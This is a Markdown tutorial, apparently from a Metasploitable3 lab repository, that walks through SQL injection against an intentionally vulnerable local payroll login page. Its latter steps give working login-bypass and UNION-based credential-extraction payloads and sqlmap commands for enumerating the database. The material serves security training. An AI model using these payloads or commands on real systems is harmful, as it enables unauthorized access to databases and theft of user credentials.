mirror of
https://github.com/ACIC-Africa/metasploitable3.git
synced 2024-06-01 20:15:38 +02:00
72 lines
3.3 KiB
Markdown
72 lines
3.3 KiB
Markdown
<b>For this tutorial you will need the following tools</b>
|
|
|
|
* Browser (Prefarably Mozilla)
|
|
* Burpsuite
|
|
* SQLMap
|
|
|
|
1. <b>Try and login using the following credentials:</b>
|
|
|
|
| Field | Value |
|
|
| --------- |:--------:|
|
|
| USERNAME | admin |
|
|
| PASSWORD | admin |
|
|
|
|
RESULTS: The webpage will display your username and no content
|
|
|
|
|
|
|
|
|
|
2. <b>Try and login using the following credentials:</b>
|
|
|
|
| Field | Value |
|
|
| --------- |:--------:|
|
|
| USERNAME | ' |
|
|
| PASSWORD | admin |
|
|
|
|
RESULTS: The webpage will be blank
|
|
|
|
|
|
|
|
3. <b>Try and login using the following credentials:</b>
|
|
|
|
| Field | Value |
|
|
| --------- |:--------:|
|
|
| USERNAME | ' or 1;#'|
|
|
| PASSWORD | admin |
|
|
|
|
RESULTS: The web page will return all the user content
|
|
|
|
|
|
4. <b>Use SQLMap to extract the database using the following commands:</b>
|
|
|
|
```
|
|
sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST
|
|
```
|
|
|
|
RESULTS: SQLMap will identify whether the web application is vulnerable to SQL Injection
|
|
|
|
|
|
|
|
5. <b>Use SQLMap to extract the columns in the table</b>
|
|
|
|
```
|
|
sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST --columns
|
|
```
|
|
|
|
RESULTS: SQLMap will retrieve the columns on the application tables
|
|
|
|
|
|
|
|
6. <b>Use the column names to retrieve the user credentials:</b>
|
|
|
|
| Field | Value |
|
|
| --------- |:-------------------------------------------:|
|
|
| USERNAME | ' or 1 union select 1,username,password,1;#'|
|
|
| PASSWORD | admin |
|
|
|
|
RESULTS: The web page will return the user credentials
|
|
|
|
|
|
|
|
|